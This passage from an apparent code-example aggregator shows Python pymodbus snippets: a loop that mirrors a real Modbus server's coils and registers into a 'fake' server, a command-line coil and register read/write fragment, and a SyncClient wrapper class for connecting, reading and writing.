    while 1 == 1:
        #read the real coils
        real_coils = client_real_server.read_coils(address=0x00,
                                                   count=0x05,
                                                   unit=0x01).bits
        print(real_coils[0:4])
        #read the real registers
        real_registers = client_real_server.read_holding_registers(
            address=0x00, count=5, unit=0x01).registers
        print(real_registers)
        #populate our fake server with real-time data from real server
        client_fake_server.write_registers(0, real_registers[0:1], unit=1)
        client_fake_server.write_registers(2, real_registers[2:], unit=1)
    client_real_server.close()
    client_fake_server.close()
Пример #34
0
            if args.count == 1:
                # NOTE: coil is a list with one bool
                if args.coil[0] == 1:
                    co_write = client.write_coil(args.offset, True)
                else:
                    co_write = client.write_coil(args.offset, False)
                assert (co_write.function_code < 0x80)

            else:
                coils = []
                for c in args.coil:
                    if c == 1:
                        coils.append(True)
                    else:
                        coils.append(False)
                cos_write = client.write_coils(args.offset, coils)
                assert (cos_write.function_code < 0x80)

    elif args.mode == 'r':

        # NOTE: read_holding_registers
        if args.type == 'HR':
            hr_read = client.read_holding_registers(args.offset,
                                                    count=args.count)
            assert (hr_read.function_code < 0x80)
            print(hr_read.registers[0:args.count])

        # NOTE: read_holding_registers
        elif args.type == 'IR':
            ir_read = client.read_input_registers(args.offset,
                                                  count=args.count)
Пример #35
0
class SyncClient:
    def __init__(self):
        self.client = None
        self.connectIp = 0
        

    def connectClient(self, connectIp, port=502, timeout = 1):
        self.connectIp = connectIp
        print(self.connectIp)
        if self.client is None:
            
            try:
                self.client = ModbusClient(self.connectIp, port, timeout = timeout) 
                print(self.client)
                if self.client.connect():
                    print("connect", self.client)
                    return self.client    
                else:
                   print("connect error")
                   return False
                    
            except:
                print("connect error")
                return False 

    def closeClient(self):
        if self.client is not None:
            self.client.close()
            self.client = None

    def writeCoils(self, startCoil=0, data=[False]*6):
        
        if(startCoil is None):
            print("start bit is Null")
            return
        else:
            self.client.write_coils(startCoil, data)
            

    def writeRegisters(self, startRegister=600, data=[1]*15):
        try:
            self.client.write_registers(startRegister, data, unit=UNIT)
        except:
            return False

    def readCoil(self, startBit=0, endBit=26):
        
        try:
            readCoils = None
        
            readCoils = self.client.read_coils(startBit, endBit, unit=UNIT) 

            if(readCoils != None):
                return readCoils.bits
            else:
                print("read Coil error")
                return False
        except:
            return False
        # print("rr.coil", readCoils.bits)
        
    def readRegister(self, startBit=0, count =15):
        # log.debug("Write to a Coil and read back")
        if self.client is not None:
            try:
                readHoldingRegs = self.client.read_holding_registers(startBit, count, unit=UNIT)
                return readHoldingRegs.registers
            except:
                print("read Register error")
                return False 
        else:
            print("check connect")
            return False